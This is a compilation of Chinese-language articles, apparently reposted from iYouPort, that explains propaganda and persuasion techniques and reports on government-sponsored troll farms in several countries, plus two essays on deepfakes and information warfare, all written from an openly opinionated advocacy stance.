- 媒体和国家都使用框架来描绘主要在道德层面的所谓的敌人的固有本性。
- 敌人的性格是以摩尼教的方式描绘的, 正如正义与邪恶的较量。
- 国家是这种妖魔化描绘的起源。
- 没有来自国家的重大反诉。

将敌人妖魔化的战略不可避免地导致了暴行的恶性循环，许多作家都对此进行了阐述，其中包括卡尔·冯·克劳塞维茨。将敌人妖魔化使得外交解决途径不可行，不可避免地导致了战争或关系恶化。尤其是把敌人描绘成邪恶力量，更容易激起杀心。

《黑镜》中有一集“Men Against Fire”，将边缘人群宣传为“蟑螂”，激发战士的杀戮欲望。

9、假情报：这种非常常见的，又称为战略性欺骗。即 故意传播的虚

假情报或信息。造谣可能以伪造的文档、手稿、照片或者使用谣言和编造的情报进行宣传。在信息战中，经常使用间谍故意散播谣言来使敌人处于某种不利的地位上。

造谣和宣传不同之处在于造谣的来源是隐秘的，而宣传则是大张旗鼓的。

我们后面会有专门的系列文章分析*战略性欺骗*，因为它不仅有利于防御，也有益于进攻。

10、以退为进：一个主要出现在社会心理学中的讨价方式。劝说者通过提出一个会被拒绝的离谱要求来让被劝说者同意第二个较为合理的请求，较之单独提出“合理的请求”更容易获接受。因为这一理论中提出离谱要求就像被人关在门外，而在英语称为“door-in-the-face”。

11、得寸进尺：是一种通过先提出一个简单的小请求来说服被劝说者同意一个较大请求的劝说方法。得寸进尺法得益于被社会学家称为“连续渐进”（successive approximations）的一项人类基本特点。该特点的大意是，如果向对方提出小的请求或作出小的行为越多，对方越有可能按照计划的方向转变自己的态度、行为，并渐渐感觉自己有必要准许那些要求更多的请求。

12、片面真理：一种欺骗性的陈述，其中包括一部分真理。陈述可能是部分正确的，该语句本身可能完全真实的，但只包括全部真相中的一部分，也可能利用一些欺骗性的元素，如不当的标点符号、双关语，特别是当其目的是欺骗、逃避、指责或歪曲事实时。在逻辑中，则有似真似假。主流媒体经常这么做。

13、不相干谬误：是指论证的前提和结论毫无逻辑关联的不当推理方式，这种情况又称不相干的结论（irrelevant conclusion）或制造伪冒理据。

- 转移注意力（红鲱鱼、烟雾弹）：提出非关争议重点的言论（通常乍看有关），以转移他人的注意力
- 打稻草人：攻击和对方论述无关的论点（通常乍看有关）
- 我有权发表意见：被他人批评时，主张自己有权利发表意见。然而，是否有发表意见的权利和意见是否正确可取（或他人是否可批评）是不相干的。
- 废话谬误：废话谬误的其中一种形式是说出模棱两可的、无论如何总是正确的语句，却没有真正回应主题，亦是不相干的谬误。

14、标语口号：在政治、社会、商业、军事或是宗教等范筹上所使用的一句容易记忆的格言或者宣传句子，主要用作反复表达一个概念或者目标。标语的种类多不胜数，由书面至颂唱、禅理到通俗都有。很多时候它们简单的修辞特色为详情留下很少的想像空间，因此它们多被用作一个统一目的的社会表达，甚于为特定对象而作的映射。

口号很有效，动员中只要能够一句合适的口号，效果会倍增。但是必须提醒，口号永远都是偏激的，致力于触发大众激烈情绪的，而不是合理的，在接受口号之前请仔细分析其是否基于正义。

推荐一本书：对当今的宣传有一个很好的分析《The Propaganda Model Today: Filtering Perception and Awarenesses》在这里下载：https://t.me/iyouport/6705

原文

巨魔崛起：政府资助的网络水军正遍布全球 - iyouport

心理战和信息战长读

【 2018年8月5日存档】不论是独裁政权还是民主国家，社交媒体对权力来说都是极其有效的工具—— 用来对抗异议和打压政敌

这里是一份新的报告。我们只能说它有点后知后觉了，居然到现在才意识到政府对社交媒体的利用。尤其是彭博社对此事的报道，拼命将网络水军现象之因由引向“俄罗斯”，要知道，中国这样做没有十年也有八年之久，然而此报告却对中国只字未提。

但我们依旧对这份报告做了编译，是因为这一现象是真实的，也是我们一直在提醒警惕的重点问题：即 集中化的互联网只能成为大规模监控和广泛操纵社会的灾难，它早已是民主的噩梦。曾经的“Twitter 革命、Facebook 革命”更多来自硅谷企业的宣传，试图掩饰集中化平台和其所追求之实名制固然的弊端。如今人们应该明白这点了。

心理操纵是互联网视觉匿名这一特殊效应几乎无可避免会出现的附带现象。相关报告中所重点描述的语言暴力和滋扰威胁，对大众来说也许还不是最可怕的，因为它至少能让人一眼看出立场。中国存在一种特殊的巨魔，被称为“高级五毛”，他们的作用是让你一眼看不出其立场，但在互动中往往被其引诱，甚至他们能让你在不由自主中泄露隐私信息，或者被改变立场。

就我们观察，这种巨魔的当下水平还相对较低，至少不符合专业社交工程师所需要的诱导能力，但对那些不熟悉心理操纵术的广大互联网用户来说，这些所谓的高级五毛还是很有效的。于是值得警惕。

社交媒体巨魔最大的邪恶在于他们的存在彻底摧毁了社交媒体最大的价值—— 联合。当视觉匿名，人们之间的联系所依赖的唯一根据就是直觉，通过观点和话题获得的直觉信任。理论上这种识别方式是可靠的，人类有天生的敌我直觉，但如果人们知道了付费巨魔的广泛存

在，这种直觉就必然会受到干扰。我们在早前的文章中多次提醒了这一问题的危害，包括并不限于《为什么互不信任》和《为什么如今的中国人组织不起来》等等。

由此，巨魔工厂并不担心被曝光，中国人都知道，当局甚至公然美化“无毛和自干五”，将其粉饰为民意。真正担心此报告之揭露的人，是那些花钱购买巨魔军队的人，这一资金走向说明了谁是幕后的操纵者。

但是，正如这份报告中介绍的印度的案例，当局使用现金支付巨魔，没有留下任何可查阅的证据。这是一个大碍（印度政府拼命推动数字支付，为能对社会实施全方位监视，而他们购买巨魔时却使用现金，说明他们不傻，而是够坏）。中国至今没有曝光政府支付网络水军的详细资料，即关于互联网舆论操纵的确认，希望能有机会填补这一空白。

另一方面，巨魔的存在也给了当局以抹黑社交媒体舆论反抗运动的机会，由于没有证据，当局很可能会将支持正义的在线运动—— 如揭露腐败和推动变革—— 污蔑为“有目的的操纵”。中国读者应该记得“敌对势力”这个词，以及它的使用环境。

如今，很多人已经从社交媒体早期被认为的“社运动员利器”的幻觉中醒悟过来了，但这不是目标，目标应该是怎么办，而不是如今中文网络这种大家自说自话互不相干的局面。这样一来的确不需要担心巨魔的渗透，但也浪费了社交媒体最大的价值。

本文是对这份报告的摘取编译，略掉了其中一些说法，因为它有误导性，比如它说“网络水军使用加密技术和隐藏 IP 地址，难以验证身份，从而有效地伪装成普通民意”，这也许是事实，但该报告没有做出更为具体的分析，于是结果就变成了暗示支持 Facebook 那种实名制操作手段。 ✕ 这绝不是民主守护者当有的立场。

民主应该捍卫大写的人权，隐私权是基本人权，关乎一个人的独立尊严问题，在监视跟踪无处不在的互联网上，匿名技术是捍卫这一基本人权的必需。我们的原则应该是：每个人都能充分享有隐私权，并且不需要担心恶意操纵和跟踪监视，于是它将是一个基础设施问题，而不是彭博社带入的“俄罗斯”疑问。

理论上，应对巨魔水军的最佳方案就是揭露他们，鼓励更多人拉黑那些账户。但曝光运动无疑会出现误杀，比如你知道的，中国社会很容易走偏的公报私仇现象，甚至走入相反的极端，更加拉低了互信。本

着支持言论自由的立场，在排斥巨魔的基础上，我们更多会推荐人们提升对诱导歪曲的鉴别力，充分获取相关知识，以保护自己。

以下是我们曾经对诱导操纵的一些深入分析，当下越来越多的政府引领的操纵术正在泛滥，由于权力掌握了大部分资源，他们对大众心理操纵的布局很是高效，这将意味着需要更多互联网用户熟知并掌握鉴别的技巧。

新闻记者 Nedim Turfent 在土耳其库尔德地区报道了一场残酷的反恐行动，当时他发布了一些站在村民面前的士兵的视频，这些士兵已经焚烧并袭击了很多村庄。消息发布后不久，要求人肉 Turfent 的奇怪舆论开始出现在他的 Facebook 页面上。

与土耳其反恐部队有联系的推特账号加入进来，用同一个问题质问当地人—“Nedim Turfent 在哪儿？”威胁很明显：放弃跟随他，否则下一个目标就是你。

那是在 2016 年的春天。几天之内，Turfent 就被军方抓住了，最终被指控成为“恐怖组织的成员”。一个匿名的 Twitter 帐户在社交媒体上发布了 Turfent 的照片—— 戴着手铐、面色憔悴。士兵们把汽油浇满了他的雇主 Dicle 新闻社的办公室，并点燃了这栋建筑物。目前 Turfent 仍在监狱里。

根据跨越十几个国家的研究和相关文件数据，足见，仅仅在 Twitter 和 Facebook 被宣传为“全球民主运动的火花”之后的几年里，各国政府和他们的代理人正在孵化新的数字化抑制形式，这在社交媒体巨头时代之前是不可想象的，

结合虚拟仇恨巨魔、监视、假消息、匿名威胁以及隐私入侵等各种手段，全球各国政府和政党已经创建了一个越来越激进的在线剧本，平台很难发现或反击。

一些政权使用的是俄罗斯部署的技术，而其他政权则采用本土方式把相关技术进行了重组。并且，一些非正规的但蓬勃发展的社交媒体机器人经纪人、和巨魔雇佣行业，正如雨后春笋般涌现出来，他们愿意为任何支付金钱的人提供帮助。在许多情况下，这些努力令政权取得了“成功”，记者被迫流亡、在线表达被沉默。

据委内瑞拉研究员玛丽安娜·迪亚兹（Marianne Diaz）称，在委内瑞拉，社交媒体巨魔将在政府批准下注册 Twitter 和 Instagram 帐户，这些巨魔可以获得稀缺的食品券作为奖励。就像中国的“五毛钱”那

样，按劳取酬。

一位自称是印度的前巨魔表示，他加入了一支 300 人的团队后，获得了 6 个 Facebook 账户和 8 部手机，该团队致力于恐吓总理纳伦德拉·莫迪的反对者。

在厄瓜多尔，合同文件详细说明了政府向一家公关公司支付了款项，该公司的唯一业务是建立并经营一个用来骚扰政治对手的巨魔农场。

许多这些研究结果都包含在本周发布的一份报告中，该报告由一个全球研究小组发布，揭示了7个国家的政府级网络水军的证据。该报告由位于加利福尼亚州 Palo Alto 的无党派研究和公共政策小组“未来研究所”负责。

报告称，“这些网络水军活动几乎和现代互联网的规模和发展速度同步。”“各国正在利用他们曾经认为是威胁的工具—— 互联网，将信息技术作为权力整合和社会控制的手段，推动虚假信息操作，并以比以往更大的规模传播政府宣传。”

该公司的技术孵化器 Jigsaw 部门的研究人员记录了恶意骚扰活动，这些活动旨在伪装为自发行为，也就是伪装“民意”侮辱民主，但实际上他们是各国政府操纵的。根据通过外部研究人员获得的报告未发表副本，这些活动通常“在高度集中的协调下运作，通过部署机器人和集中管理的社交媒体帐户，旨在压倒受害者，并淹没异议”。

为了应对 Twitter 和 Facebook 上发起的各类革命和社会运动，各国政府最初只能审查内容，阻止访问社交媒体、并使用监控技术审查其公民。但事实证明，通过大量的虚假信息和匿名威胁来淹没平台反而更加“有效”—— 研究人员称之为“信息污染”战略，这是由社交媒体的迅速传播所促成的。

延伸阅读：我们在三年前对中国当局如何利用互联网巩固政权的简要分析《中国的互联网策略》（原文已丢，这里是转载链接）

据卡米尔·弗朗索瓦（Camille Francois）称，土耳其是一个典型的例子，他说，自 2013 年伊斯坦布尔格兹公园抗议活动以来，埃尔多安政府利用线上和线下 O2O 组合压制方法，将社交媒体“几乎变成了死地，无法在土耳其进行真正的社会抗议。近几年内几乎没有任何有组织的抗议活动发生。”

Facebook 和 Twitter 等社交媒体公司似乎正在“努力”应对国家政府和

其他人对其平台上重要资源的投资的利用。数以百万计的假帐户利用算法操纵用户可以看到的东西，而位置欺骗等技术可以使集中控制的帐户看起来像是位于不同地区的真人形成的网络舆论大军。

有专家认为，这些公司需要做更多工作才能面对这样一个事实：他们正在被世界上一些最具压制性的政权所利用。

华盛顿大学的通讯教授 Katy Pearce 说，他研究了 Facebook 在阿塞拜疆的使用情况："人们有时会担心阿塞拜疆政府关闭 Facebook，不会的，**Facebook** 恰恰是政府控制社会最有效的工具。"

——印度——

Mahaveer Prasad Khileri 盘腿坐在床上，轻拍他的笔记本电脑，他的脸被屏幕的光点亮，一个灯泡悬挂在他的土墙房子的天花板上。他使用电脑和两部智能手机在社交媒体上倡导一个致力于奶牛健康的组织，这对印度教徒来说是神圣的。当他忠诚的信仰和社交媒体技能被发现更具毒性的表达时，一切都变了。他是印度执政党印度人民党（Bharatiya Janata Party）BJP 的前任巨魔。"那时我被蛊惑了"，他说。

2014 年 2 月，Khileri 被两位熟人招募进入该党的社交媒体网络水军行动，负责莫迪的连任竞选。他在家乡 Jogaliya 接受采访时回忆说，他获得了8部手机和6个不同的 Facebook 身份。他说，那些天工作 18 个小时，在合法的竞选、政治对手、和假冒记者等不同身份之间切换。当莫迪获胜时，该行动并没有停止，而是过渡成为了支持莫迪政府的工具。

Khileri 在人民党称之为"IT Cell"的项目中工作，这是印度这个世界上最大的民主国家的互联网巨魔农场。研究人员在不同国家和不同情况下发现了多个类似的活动。

根据 Khileri 的说法，印度版的互联网水军工具包包括旨在激化教派差异的策略，侮辱穆斯林少数民族，并将莫迪描绘为印度教徒的救世主。主管负责设置当天的主题，并指定攻击目标。

Khileri 和其他 300 名付费的巨魔将创建 meme 或复制粘贴 Twitter 帖子，这些帖子被发送给数万名党派忠诚者的 WhatsApp 群组。他们的转发在几分钟内就能形成病毒式传播。

Khileri 回忆道："我们告诉印度教徒：'如果你不投票给莫迪，那么穆

斯林就会摧毁你。’”

BJP 的 IT CELL 网络水军前负责人 Arvind Gupta 于 2016 年12月发推文称，无论是党派还是小组都没有鼓励过网络水军，党的在线支持来自于自愿的基层运动……现任该组织负责人 Amit Malviya 表示，只有在看到 Khileri 是其成员的证据后才会发表评论。Khileri 表示，他最终退出了这个小组，这个小组以现金支付其成员并且没有留下任何文件记录。

“在任何时候，他们都可以控制印度的局势”。他说，“巨魔军队可以召集全国罢工，他们能够推动社区之间的斗争，制造社区紧张局势，摧毁社区和睦”。

不同国家的互联网水军有着不同的形式。一些国家党内青年团体中的人被征用，而其他国家则开发了高度结构化的“志愿军”。还有一些国家只是付钱给承包商来做这项工作。总之，共同点是，组织者都在努力使得他们的行为看起来像是自发的。

（上图）泄露文件显示，委内瑞拉计划发展政府资助的巨魔军队，包括军事化的组织结构。该国内政部没有回复有关问题的评论请求（原文件在这里看到）

——墨西哥——

在墨西哥，即将卸任的总统 Enrique Peña Nieto 在任职期间，在公共话语中假冒 Facebook 和 Twitter 账户进行舆论干扰，他的政治对手称他们为“Penabots”. 这个互联网巨魔组织也被用来反对政府的议程。

两年前，调查记者和活动家 Alberto Escorcia 开始记录墨西哥对互联网水军的利用：前成员告诉 Escorcia 松散组织的青年团伙被收买，用来对付反对政府的记者或活动家，进行虚拟仇恨攻击。

Escorcia 说，这些团伙就像该地区最臭名昭著的贩毒集团那样被组织起来。在大赦国际记录的一个案例中，Holk Legion 巨魔使用了 2000 多个账户，在两天的时间内向 10 名记者和公众人物发送死亡威胁。在格雷罗州大规模绑架学生事件两周年之际，他们发布了一连串的推文，这一事件一直困扰着 Peña Nieto 政府，有证据显示警方和军方参与其中。互联网巨魔的威胁性推文是对这一周年纪念引发的公众愤怒的一种平衡。就像在中国所有“敏感日子”里发生的怪异舆论潮那样。

——土耳其和沙特——

土耳其的案例表明，政治家们将社交媒体平台转变成了信息控制工具，并做到了对技术技巧的迅速完善。

埃尔多安政府因 2013 年5月开始的抗议活动而受到严重动摇，并且政府腐败问题是持续数周的关注热点。几个月之内，执政党派出了自己的社交媒体机器人军队，尽管这是一个伪装得很差的队伍。研究人员发现了近 18,000 个亲埃尔多安的推特账户集合，这些账户使用从色情网站或公众人物个人资料图片库下载的照片作为头像。

到 2017 年，该国的数字部队已演变成了更精细和更具威胁性的东西。数字权利组织 AccessNow 的一份报告确定了一系列虚假账户，这些账户集中关注 2016 年未遂政变后埃尔多安政府对记者、教师和其他人的镇压行动，并传播支持镇压的舆论。

一个账户的头像是一名游行支持者的女子照片，发布了一个指向某网站的链接，而这是一个钓鱼网站，**AccessNow** 的报告发现，只要点击了这个链接，访问者的设备就会感染高级恶意软件，这些恶意软件会监视他们的通信并跟踪他们的行动。创建恶意软件的公司仅向政府销售这种产品。

研究人员和记者在阿根廷、泰国、巴林和沙特阿拉伯，均记录到了类似的机器人军队。

在 5月 15 日逮捕七位著名的沙特女性维权人士后，沙特的社交媒体水军一直很亢奋。沙特政府最初没有透露有关活动人士的下落。有 Twitter 用户发布了一条消息，附有一个阿拉伯语的标签“活动家在哪里？” 很快这个标签就被一个由国家支持的新闻机构引用，他们发布了活动家的照片，上面用阿拉伯语写着“叛徒”的字样。

总部位于纽约的社交媒体情报公司 Graphika 的一项分析表明，这些水军使用的主题标签是以高度协调的方式“推动”的，有时会与政府控制的媒体配合默契。埃克塞特大学海湾事务研究员发现了一些证据，证明这些标签是由自动帐户推动的，该帐户与他们之前发现的庞大的亲沙特政府僵尸网络有关：“这仍然有待观察，这究竟是一个由国家赞助的行动，还是公关公司的工作，还是富有的个人资助的单边项目，尚不清楚”。

——马耳他——

一些最致命的攻击是针对女性的。未来研究所的报告发现，每个确定的涉及女性受害者的国家支持的网络水军事件都使用了严重的厌女症语言，包括强奸和残害的威胁。

根据该报告，图形、无情的帖子往往被证明是强大的武器，专门针对政权的反对者，并使攻击他们的行为合法化，目的是引导一些记者对新闻报道工作进行自我审查。

去年十月遭遇汽车炸弹身亡的马耳他著名调查记者达芙妮·卡鲁阿娜·加利西亚（Daphne Caruana Galizia）在此之前一直调查政府的腐败问题，她的博客在马耳他很受欢迎，并引来了网络水军的攻击。她曾因此深感焦虑。她的儿子说，由于网络巨魔的滋扰，在发布文章之前她经常犹豫不决。

他说，许多针对他母亲的暴力言论都是政府雇佣的一些私人 Facebook 巨魔进行协调的，这些群体在其工党执政党立法者中占有一席之地。他说，这些秘密团体的行动在她去世后的几个月内被曝光，这些巨魔散布了“成千上万的非常可怕的虐待言论”。

土耳其记者 Ceydan Karan 也在网络上被巨魔威胁对其性虐待，墨西哥学者 Rossana Reguillo 也曾遭遇同样的威胁。该报告的作者之一说，“这些被雇佣的巨魔是攻击的天才，有时会很难区分他们有意制造的是什么，甚至都很难知道他们反对的是什么。”

原文

廉价造假和深度造假，究竟哪个更可怕？ - iYouPort

心理战和信息战

在地缘政治信息战中，廉价造假比深度造假更好用；但对于网络攻击来说，深度造假是值得警惕的问题

在关于深度造假的诸多讨论中，最有趣的一个现象就是：政府党派背景资助的调查报告全部倾向于夸大深度造假的能力，并强行将讨论重点放置于地缘政治威胁的角度上。

事实上这是一种偏见 —— 有利于地缘政治斗争/民族主义的偏见。因为深度造假技术最大的危害并非是信息战。

以下是 thaddeus t. grugq 的文章，他说出了一些关键的问题。

「图」

「图」

我一直对深度造假持怀疑态度。它们能有什么用？对于信息战中虚假信息所使用的深度造假的实用性，我从未感到兴奋。

- 《深度造假真的是一场真相已死的危机吗？我们如何化解这场危机？》

信息战不需要深度造假的东西也能实现，廉价的假货已经绰绰有余了。

最后，有人发现了深度造假作为攻击性网络工具的用途，因此，让我们深入研究一下这些伪造品吧。

关于深度造假的炒作

通常，关于深度造假的威胁是作为信息战挑战提出的，认为该技术将使虚假信息的应对变得更加困难。

这一观点无处不在。这是最近的一个例子：国会正努力监管深度造假。

但事实上，深度造假对信息操作的威胁很小。

因为一般而言，人们并不是为了改变自己的想法而进行修辞的，而是为了与他人建立联盟。在寻求提供证据以支持自己的既有观点时，人们只是在寻找那些可以抹黑反对者观点的同时捍卫自己观点的示例。

无法使深度造假在此方面比现有的廉价造假技术更有效，例如，对视听媒体的操纵、语境错误和去语境化的视听媒体等。

深度造假对信息战构成威胁是因为它们很容易掩盖虚假的谎言。

信息战的基本规则之一是，你永远不要说谎（除非有必要）。深度造假可以作为人造内容被检测到，从而揭示了谎言。这就能区分信息的来源和其他论点。

对于信息战来说，使用伪造品是高风险的主张。

- 完全真实的但片面的信息才是信息战决胜的关键《操纵式宣传：五个过滤器和识别线索》

对深度造假的怀疑

我一直对 Deepfake 虚假信息的实用性表示怀疑。它们根本是不必要的。它们没有提供任何信息战操纵者无法通过廉价造假就能做到的事。

有关造假、去背景化、伪造背景化的研究和书籍已经非常多；例如《21世纪的宣传与信息战》非常推荐阅读，您可以在这里下载电子版：https://t.me/iyouport/6399

深度造假真正的威胁

1、个人更容易受到深度造假的影响，因为他们更容易受到针对性的攻击。例如人格暗杀运动的目标人。

- 《人格暗杀和抹黑运动：谁在受益？》

2、攻击者容易利用不良的安全程序和流程。

安全不仅仅是技术访问控制问题，它还是遵循的流程以解决人为因素的问题。如果没有所有这些措施并保存一致，那么真正的安全状态就很薄弱。

内部威胁

高风险的人员和团体必须具有减轻内部威胁的安全程序。例如，访问控制过程应该可以有效禁止任何一个人随意转移金钱。

如果没有这样的程序，他们就很容易受到内部威胁的利用。

高风险个人经常求助于技术解决方案以减轻诸如身份盗用之类的威胁（例如使用多因素身份验证）。

但是，他们最需要做的应该是执行有效的安全程序以防止被招募为不知情的代理人 —— 作为社交工程攻击的突破口（例如，对接近他们的人进行审查）。这个主题太丰富了，无法在本文中完全探讨。

内部威胁以多种形式出现，以下是部分列表：

- 由外部恶意威胁制造的社交工程攻击的突破口。电子邮件是用于实施这类攻击的常用媒介，有时是各种形式的网络钓鱼，而有时只是一种通信渠道。
- 冒充他人通常是通过电子邮件进行的，例如 许多针对政治运动或其他公司的骗局。
- 恶意代理，例如 心怀不满的员工或由威胁参与者雇佣的员工，甚至是恶意威胁参与者通过就业申请获得的合法访问权限。例子不胜枚举。
- 人为错误。人类思维的固有弱点是最难避免的东西。
- 更多详细攻击模式见" “社交工程” 栏目"。

公司受到内部威胁的方式和可能的手段有很多，但是大多数讨论都集中在「故意的」恶意威胁参与者身上。但是，关于身份盗用和不知情状况下被利用的讨论却很少，这才是深度造假更容易发挥作用的地方。

利用访问控制抵挡内部威胁

深度造假可以绕开某些常用的防御监测，例如通过语音身份验证进行确认。

如果唯一能防止将大量资金从公司账户转移到任意账户的方法是“确

认某位高管通过电话发出的声音”，那么该公司就很容易受到内部人利用深度造假实施的威胁。

⚠这是Deepfake具有强大效用的一种攻击方式，它利用了错误的访问控制，例如 语音识别授权。

个人和公司遭受基于深度造假攻击的风险要大得多 —— 而不是国际地缘政治游戏。

这是需要解决的问题。从安全角度来看，解决方案通常是绕道，也就是实施可减轻深度造假能力的防御过程。

对于面临迫害的个人，我没有答案。互联网迫害是一个尚未解决的问题。〇

广告

原文

当恶意者掌握技术：信息战的未来究竟有多可怕？ - iYouPort

心理战和信息战长读

> 现代技术和社交网络已经被变得武器化，而许多人似乎还没有能力理解信息战的新现实。我们希望战胜国家支持的虚假信息和政治宣传吗？未来的战争很可能不在战场上，而是在每个人的屏幕上和脑海里……

「图」

世界各地的军事和情报机构已经在网络空间发动起秘密的信息战。他们精心设计的假消息已经深刻地影响了公众对真相、权力和合法性的看法。

延伸阅读：《"//真相衰变如何杀死了民主？//"》《阴谋论是怎么来的？我们还可以怎么办？》

随着所谓人工智能技术的广泛应用，这种威胁只会越来越强烈，而且是迅速的。

首先考虑以下几点：

- 政权雇佣的机器人水军或“假用户”正在以社交新闻 feeds为目标，有计划与目的地传播政治宣传（参见《"巨魔崛起"》）；
- 在线状况下，真相和虚假之间的界限看起来已经很脆弱，因为研究人员开发的技术完全可以制作极难被检测出来的假音频和视频（参见《"虚假信息鉴别工具箱：如何验证图片和视频的真伪？"》）；
- 仅在一年之内，创建高质量的数字欺骗就将达到非常容易的程度，其真实性无法轻易验证；

下面将详细介绍下一代战争的技术，策略，和其影响。

「图」

- 信息战，又叫信息攻击 — 如上所述 — 可以用一个世纪以来众所周知的词语来概括：**Provokatsiya**，这是俄语，意思是“挑衅行为”。据说该行为是由俄罗斯的间谍实践的，可以追溯到沙皇时代。Provokatsiya 如何描述了使用障眼法和隐性武器来进行欺骗以诋毁、沮丧和混淆对手的战术。但它显然不是俄国发明的，还记得孙子兵法吗？* <<<

“The terrorizing drums, banners, and gongs, of Sun Tzu’s warfare, aided by information technology … may now have evolved to the point where ‘control’ can be imposed with little physical violence.” — US Colonel Richard Szafranski, “A Theory Of Information Warfare: Preparing For 2020”, written in 1995.

> 国际政治干预不是唯一的目的，众所周知，当权者还会实施在其国内的数字影响力活动，就如中国当局使用水军在热点敏感事件爆发时淹没国内的异议声音。事实上相比下中国的玩法是很拙略的。特朗普的竞选活动正受到越来越多的审查，因为据报道，英国剑桥分析公司签订了合同，被授权可挖掘 Facebook 数据以便在 2016 年选举前隐性干预选民的行为。
>
> 当然，中国没玩儿过操纵选民吞噬民主的游戏，并不是因为不会玩儿，最顺手的武器明明就摆在那里 — 社交网络，它如此庞大没有人会无视。中国只是不需要选举，换句话说，如果这种状况持续下去，中国就不可能有真正的选举了。
>
> 不过本文将更多关注的是外国对手攻击另一个国家（而不是国内影响力运动）的情况，以及国家支持的信息战行为（与非关联行为者的行为相反）。
>
> 您可以做一个对比，将可以发现，中国曾经一直在使用的外宣是如何的笨拙，它倾向于*要求*别人认同自己，这是低效的操作，且花费巨大，使用的不过是广告商一直在使用的人类心理弱点，即 反复出现、不断重复、无处不在全方面包围。事实上如今的信息战完全不必如此“麻烦”，而鉴于中国对现代技术的痴迷（已经作为了其民族主义的一部分），北京全方面转变策略，仅仅是时间问题！（参见《北京的政治宣传模式发生改变》）

本报告将分为四个主要部分：

- 数字信息战的兴起
- 数字信息战未来的关键要素（外交和声誉操纵；间接攻击的网络钓鱼）
- 有计划的宣传（针对数字欺骗的新兴解决方案；发现隐藏的元数据以进行身份验证；用于将数字内容追溯到源的区块链；发现 AI 生成的虚假信息；大规模检测图像和视频操作；打击宣传）
- 最后的想法

数字信息战的兴起：我们是怎么到了这种地步的？

信息战是心理战的一部分（虽然不是全部），如果您还记得我们在《心理战》那篇文章中对其曾经用法的简要介绍，就能明白，这一战略的历史之深远、以及它是如何在技术的协助下得到了脱缰之马般的肆虐。

这绝不是什么新奇的思路。它是自古以来各种战争中最为关键的部分：

俗话说兵不厌诈，对战获胜的重点在于：情报的真实性和情报分析的专业性和有效性，也就是说，只要能破坏情报的真实性、误导情报分析的有效性，就能导致敌方的错误判断并陷入混乱，进而取胜。

> 近年来， 信息攻击正在被迅速增强。四年前，世界经济论坛就已经将“网上误报的传播”称为 2014 年第十大最值得关注的趋势。
>
> 俄罗斯绝不是唯一一个擅长歪曲互联网舆论和选民认知的国家。牛津大学的研究早已发现，社交媒体状态下，有组织的操纵行为自 **2010** 年以来至少在 **28** 个国家存在！研究还强调，“独裁体制不是唯一的、甚至都不是最好的实施有组织社交媒体操纵的基础”，民主国家也参与其中，并且技术更加高超。
>
> 通常情况下， 跨国信息战是由国家支持的网络部队发动的，全球有很多这样的网络部队，而美国拥有的最多。下图是来自牛津大学的研究资料：

「图」

Source: //Oxford University//

世界面临的现实是，造假技术迅速崛起、同时人们越来越难以分辨"甚至无心去分辨"什么是事实什么是虚构。然而截止今天，在线传播虚假信息和欺骗手段背后所依赖的技术仍处于起步阶段，信息认证的重要性及其必要的技能，也只是刚刚开始形成。

简而言之，这一切灾难只是一个开始。

没有“日内瓦公约”或联合国条约详细说明一个国家应如何定义数字信息攻击或按比例进行报复。随着新技术的普及，了解定义信息战未来的策略和环境现在比以往任何时候都更加重要。

数字信息战未来的关键要素

未来数字信息大战中的一个共同主题将是恐惧、不确定性和令人疑惑的故意传播（fear, uncertainty, doubt）也称为 FUD 在线。 显然，喜欢刺激性信息、漠视调查取证及其相关技术、封闭、虚无主义和偏执的用户群体，将成为宣传的主攻目标 — — 这些特征恰恰是社交网络用户群的最普遍特征。

延伸阅读：《//互联网人为什么如此容易被骗？//》《//隧道生态和心理操控//》《//两极分化的社交网络为什么更利于操纵？//》《//真相衰变已成为民主最致命的杀手//》

在支持性技术的推动下，三项关键战术将在战争的未来发挥至关重要的作用，就如密歇根大学社交媒体责任中心首席技术官 Aviv Ovadya 所描述的那样：

- 外交和声誉操纵：利用先进的数字欺骗技术在对手中煽动毫无根据的外交或军事反应; 冒充和破坏对手的领导者和影响者的合法性；
- 间接操纵的网络钓鱼：使用恶意 AI来模仿值得信赖的实体，针对的是特定的高价值目标，迫使目标以其他方式采取行动，即社交工程技术；
- 计算化宣传：利用社交媒体、人类心理学、扭曲性的消息、八卦和不透明的算法来操纵公众舆论。

」外交和声誉操纵：视频和音频的造假

外交操纵是为了在地缘政治决策上影响对手，令其产生错误信念的行为。

华盛顿大学（UW）的研究人员已经成功地使用人工智能创建了奥巴马的伪造视频，视频中说出了“他从未说过的话”。

根据该大学关于这项实验的论文，将音频剪辑嫁接到逼真的唇形同步视频上可以“改变[奥巴马]在目标视频中所说的内容，并能与输入音轨相匹配。”

伪装奥巴马成功意味着任何人都能被如此伪装。很容易想象这样一个被改变过的视频 — 如果足够好看，看起来很真实 — 很快就会造成严重的破坏性。如果当权者伪造反对派和活动家的视频……不论是抹黑还是定罪，都将非常容易实现。

人工智能的进步正在开创一个假视频和音频的新时代，这将对国内政治和外交的未来产生深远的影响。虽然该技术在大学实验中仍处于发展阶段，但不久的将来它将变得非常容易操作。

AI 创建假冒的数字内容

GAN（生成性对抗网络）是一种用于执行无监督机器学习的 AI 。在 GAN 中，相反的神经网络协同工作以制造越来越逼真的音频、图像和视频内容。 GAN 中的一个神经网络充当箔片，推动其他网络产生更高保真度的结果。神经网络还可以更容易伪造音频，可以将源音频的元素转换为统计属性，并且可以重新排列这些属性以制作高超的假音频剪辑。

「图」

Sketch of a Generative Adversarial Network for creating fake images, credit DL4J

高质量的外交操纵和政治宣传，可能会将 AI、音频和视频欺骗结合成一次致命的攻击。目前，世界各地的研究团队正在开发看似良性的技术，然而，如果我们不小心的话，这样的“机会”随时会出现。

欺骗性的视频和音频编辑

斯坦福大学的研究人员发表了早期结果，表明可以实时改变一个人预

先录制的面部画面来模仿出另一个人的表情。

从本质上讲，想要冒充目标人的演员可以通过将脸部变成网络摄像头来创建数字人类木偶。 目标面部的数字再现将实时模仿演员的面部。

目前，这种技术仍然需要数小时的预先录制的目标人视频片段才能让它看起来真实。不幸的是，强大的公众人物经常可被追踪，有充足的历史录像数据足够显示他们在现实生活中的谈话和行为特征，基础素材极为丰富。

造假者使用低科技网络摄像头和这种高科技软件的事实表明，视频爱好者和复杂的宣传家都可以使用这种技术。竞争环境被平衡了，扩大了能够伪造视频进行欺骗的攻击者的范围。

「图」

Source: //Face2Face//, Stanford University

